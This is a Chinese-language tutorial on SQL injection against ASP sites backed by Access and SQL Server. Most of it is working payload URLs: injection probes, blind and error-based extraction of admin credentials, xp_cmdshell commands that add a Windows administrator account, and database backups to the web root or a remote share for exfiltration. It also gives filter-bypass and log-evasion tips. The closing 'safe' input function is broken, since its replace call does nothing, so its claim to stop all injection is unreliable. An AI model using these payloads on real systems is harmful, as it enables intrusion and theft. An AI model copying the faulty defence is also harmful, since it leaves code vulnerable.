引言

随着 B/S 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的 SQL Injection，即ＳＱＬ注入。

ＳＱＬ注入是从正常的 WWW 端口访问，而且表面看起来跟一般的 Web 页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看 IIS 日志的习惯，可能被入侵很长时间都不会发觉。

但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的 SQL 语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。

根据国情，国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上，PHP+MySQ 占 20%，其他的不足 10%。在本文，我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧，PHP 注入的文章由 NB 联盟的另一位朋友 zwell 撰写，希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？ Lets Go...

入门篇

如果你以前没试过ＳＱＬ注入的话，那么第一步先把 IE 菜单 =>工具 => Internet 选项 => 高级 => 显示友好 HTTP 错误信息 前面的勾去掉。否则，不论服务器返回什么错误，IE 都只显示为 HTTP 500 服务器错误，不能获得更多的提示信息。

第一节、ＳＱＬ注入原理

以下我们从一个网站 www.mytest.com 开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。

在网站首页上，有名为“ IE 不能打开新窗口的多种解决方法”的链接，地址为：http://www.mytest.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：

Microsoft JET Database Engine 错误 80040e14
字符串的语法错误 在查询表达式 ID=49 中。
/showdetail.asp，行 8
从这个错误提示我们能看出下面几点：

1.网站使用的是 Access 数据库，通过 JET 引擎连接数据库，而不是通过 ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该 SQL 语句所查询的表中有一名为 ID 的字段。
从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集

程序及服务器的信息，从而获取你想到得到的资料。

第二节、判断能否进行ＳＱＬ注入

看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？ 其实，这并不是最好的方法，为什么呢？

首先，不一定每台服务器的 IIS 都返回具体错误提示给客户端，如果程序中加了 cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的

那么，什么样的测试方法才是比较准确呢？答案如下：

1.http://www.mytest.com/showdetail.asp?id=49
2.http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
3.http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
这就是经典的 1=1、1=2 测试法 了，怎么判断呢？看看上面三个网址返回的结果就知道了，可以注入的表现：

1.正常显示（这是必然的，不然就是程序有错误了）
2.正常显示，内容基本与 1 相同
3.提示 BOF 或 EOF（程序没做任何判断时）、或提示找不到记录（判断了 rs.eof 时）、或显示内容为空（程序加了 on error resume next）
不可以注入就比较容易判断了，1 同样正常显示，2 和 3 一般都会有程序定义的错误提示，或提示类型转换时出错。

当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般 ASP 最常搭配的数据库是 Access 和 SQLServer，网上超过 99% 的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢？来看看： SQLServer 有一些系统变量，如果服务器 IIS 提示没关闭，并且 SQLServer 返回错误提示的话，那可以直接从出错信息获取，方法如下：

?http://www.mytest.com/showdetail.asp?id=49 ;and user>0
这句语句很简单，但却包含了 SQLServer 特有注入方法的精髓，我自己也是在一次无意的

测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在 and user>0，我们知道，user 是 SQLServer 的一个内置变量，它的值是当前连接的用户名，类型为 nvarchar。拿一个 nvarchar 的值跟 int 的数 0 比较，系统会先试图将 nvarchar 的值转成 int 型，当然，转的过程中肯定会出错， SQLServer 的出错提示是：将 nvarchar 值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc 正是变量 user 的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。

顺便说几句，众所周知，SQLServer 的用户 sa 是个等同 Adminstrators 权限的角色，拿到了 sa 权限，几乎肯定可以拿到主机的 Administrator 了。上面的方法可以很方便的测试出是否是用 sa 登录，要注意的是：如果是 sa 登录，提示是将 ” dbo” 转换成 int 的列发生错误，而不是”sa”。

如果服务器 IIS 不允许返回错误提示，那怎么判断数据库类型呢？我们可以从 Access 和 SQLServer 和区别入手，Access 和 SQLServer 都有自己的系统表，比如存放数据库中所有对象的表，Access 是在系统表 [msysobjects]中，但在 Web 环境下读该表会提示“没有权限”，SQLServer 是在表 [sysobjects] 中，在 Web 环境下可正常读取。

在确认可以注入的情况下，使用下面的语句：

?http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
?http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果数据库是 SQLServer，那么第一个网址的页面与原页面 http://www.mytest.com/showdetail.asp?id=49 是大致相同的；而第二个网址，由于找不到表 msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

如果数据库用的是 Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启 IIS 错误提示时的验证。

进阶篇
在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：

第一节、ＳＱＬ注入的一般步骤

首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。
其次，根据注入参数类型，在脑海中重构 SQL 语句的原貌，按参数类型主要分为下面三种：

1.ID=49 这类注入的参数是数字型，SQL 语句原貌大致如下：
Select * from 表名 where 字段=49
注入的参数为 ID=49 And [查询条件]，即是生成语句：

Select * from 表名 where 字段=49 And [查询条件]
2.Class=连续剧 这类注入的参数是字符型，SQL 语句原貌大致概如下：
Select * from 表名 where 字段=’连续剧’
注入的参数为 Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
3.搜索时没过滤参数的，如 keyword=关键字，SQL 语句原貌大致如下：
Select * from 表名 where 字段 like ’%关键字%’
注入的参数为 keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：
Select * from 表名 where 字段 like ’%’ and [查询条件] and ‘%’=’%’
接着，将查询条件替换成 SQL 语句，猜解表名，例如：

?ID=49 And (Select Count(*) from Admin)>=0
如果页面就与 ID=49 的相同，说明附加条件成立，即表 Admin 存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。 表名猜出来后，将 Count(*) 替换成 Count(字段名)，用同样的原理猜解字段名。

有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在 100% 成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。 有点跑题了，话说回来，对于 SQLServer 的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。

最后，在表名和列名猜解成功后，再使用 SQL 语句，得出字段的值，下面介绍一种最常用的方法－Ascii 逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。

我们举个例子，已知表 Admin 中存在 username 字段，首先，我们取第一条记录，测试长度：

?http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先说明原理：如果 top 1 的 username 长度大于 0，则条件成立；接着就是 >1、>2、>3 这样测试下去，一直到条件不成立为止，比如 >7 成立，>8 不成立，就是 len(username)=8

当然没人会笨得从 0,1,2,3 一个个测试，怎么样才比较快就看各自发挥了。

在得到 username 的长度后，用 mid(username,N,1) 截取第 N 位字符，

再 asc(mid(username,N,1)) 得到 ASCII 码，比如：

?id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第 1 位字符的 ASCII 码，

注意的是英文和数字的 ASCII 码在 1-128 之间，可以用折半法加速猜解，

如果写成程序测试，效率会有极大的提高。

第二节、ＳＱＬ注入常用函数

有 SQL 语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的 SQL 水平，特别是一些常用的函数及命令。

1.Access：asc(字符) SQLServer：unicode(字符)　　作用：返回某字符的 ASCII 码
2.Access：chr(数字) SQLServer：nchar(数字)　　作用：与 asc 相反，根据 ASCII 码返回字符
3.Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)　　作用：返回字符串从 N 个字符起长度为 L 的子字符串，即 N 到 N+L 之间的字符串
4.Access：abc(数字) SQLServer：abc (数字)　作用：返回数字的绝对值（在猜解汉字的时候会用到）
5.Access：A between B And C SQLServer：A between B And C　　作用：判断 A 是否界于 B 与 C 之间
第三节、中文处理方法

在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。 先说一点常识：

?Access 中，中文的 ASCII 码可能会出现负数，取出该负数后用 abs()取绝对值，汉字字符不变。
?SQLServer 中，中文的 ASCII 为正数，但由于是 UNICODE 的双位编码，不能用函数 ascii()取得 ASCII 码，必须用函数 unicode ()返回 unicode 值，再用 nchar 函数取得对应的中文字符。
了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。

高级篇
看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。

第一节、利用系统表注入 SQLServer 数据库

SQLServer 是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：

1.http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在 SQLServer 中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在 SQLServer 中将被分成两句执行，先是 Select 出 ID=1 的记录，然后执行存储过程 xp_cmdshell，这个存储过程用于调用系统命令，于是，用 net 命令新建了用户名为 name、密码为 password 的 windows 的帐号，接着：
2.http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号 name 加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种

方法只适用于用 sa 连接数据库的情况，否则，是没有权限调用 xp_cmdshell 的。
3.http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子 and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
4.http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招，从 3 拿到的数据库名，加上某些 IIS 出错暴露出的绝对路径，将数据库备份到 Web 目录下面，再用 HTTP 把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如 \\202.96.xx.xx\Share \1.db），但成功率不高。
5.http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’ U’ and status>0)>0
前面说过，sysobjects 是 SQLServer 的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与 0 比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
6.http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从 5 拿到表名后，用 object_id(‘表名’)获取表名对应的内部 ID，col_name(表名 ID,1) 代表该表的第 1 个字段名，将 1 换成 2,3,4...就可以逐个获取所猜解表里面的字段名。
以上 6 点是我研究 SQLServer 注入半年多以来的心血结晶，可以看出，对 SQLServer 的了解程度，直接影响着成功率及猜解速度。在我研究 SQLServer 注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。

在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入 SQLServer 数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：

简单的如 where xtype='U'，字符 U 对应的 ASCII 码是 85，所以可以用 where xtype=char(85)代替；如果字符是中文的，比如 where name='用户'，可以用 where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤 Select、Update、Delete 这些关键字，但偏偏忘记区分大小写，所以大家可以用 selecT 这样尝试一下。
2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
3.特别注意：地址栏的+号传入程序后解释为空格，%2B 解释为 + 号，%25 解释为 % 号，具体可以参考 URLEncode 的相关介绍。

4.用 Get 方法注入时，IIS 会记录你所有的提交字符串，对 Post 方法做则不记录，所以能用 Post 的网址尽量不用 Get。
5.猜解 Access 时只能用 Ascii 逐字解码法，SQLServer 也可以用这种方法，只需要两者之间的区别即可，但是如果能用 SQLServer 的报错信息把值暴露出来，那效率和准确率会有极大的提高。
防范方法
ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替 ASP 中的 Request 函数，可以对一切的 SQL 注入 Say NO，函数如下：

```
Function SafeRequest(ParaName,ParaType)
  'ParaName:参数名称-字符型
  'ParaType:参数类型-数字型(1 表示以上参数是数字，0 表示以上参数为字符)
  Dim ParaValue
  ParaValue=Request(ParaName)
  If ParaType=1 then
    If not isNumeric(ParaValue) then
      Response.write "参数" & ParaName & "必须为数字型！"
      Response.end
    End if
  Else
    ParaValue=replace(ParaValue,"","")
  End if
  SafeRequest=ParaValue
End function
```

文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。 （作者：小竹）